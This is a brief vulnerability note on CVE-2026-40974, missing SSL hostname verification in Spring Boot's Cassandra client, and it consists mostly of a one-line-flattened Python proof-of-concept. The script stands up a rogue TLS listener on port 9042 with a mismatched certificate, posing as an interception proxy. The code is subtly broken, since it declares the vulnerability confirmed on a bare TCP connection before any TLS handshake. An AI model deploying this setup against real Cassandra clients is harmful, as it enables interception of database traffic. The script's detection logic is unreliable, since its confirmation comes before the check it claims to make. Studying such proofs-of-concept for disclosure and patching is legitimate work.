CVE-2026-40974 Spring Boot Cassandra SSL主机名校验缺失

# POC Concept: Demonstration of Man-in-the-Middle setup # Attacker sets up a proxy with a valid certificate (wrong hostname) to intercept traffic. import socket import ssl # This script simulates a malicious server that an attacker would deploy. # If the vulnerable Spring Boot app connects without verifying the hostname, # the connection succeeds, proving the vulnerability. def start_malicious_server(): context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) # Load a valid certificate signed by a trusted CA, but for a different hostname context.load_cert_chain(certfile='attacker-cert.pem', keyfile='attacker-key.pem') bindsocket = socket.socket() bindsocket.bind(('0.0.0.0', 9042)) bindsocket.listen(5) print("[+] Malicious Cassandra SSL proxy listening on port 9042...") print("[+] Waiting for vulnerable Spring Boot client to connect...") newsocket, fromaddr = bindsocket.accept() print(f"[+] Connection established from {fromaddr}") print("[!] Client accepted connection without hostname verification. Vulnerability confirmed.") try: stream = context.wrap_socket(newsocket, server_side=True) # In a real attack, data would be relayed here except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": # Note: Requires 'attacker-cert.pem' and 'attacker-key.pem' to run start_malicious_server()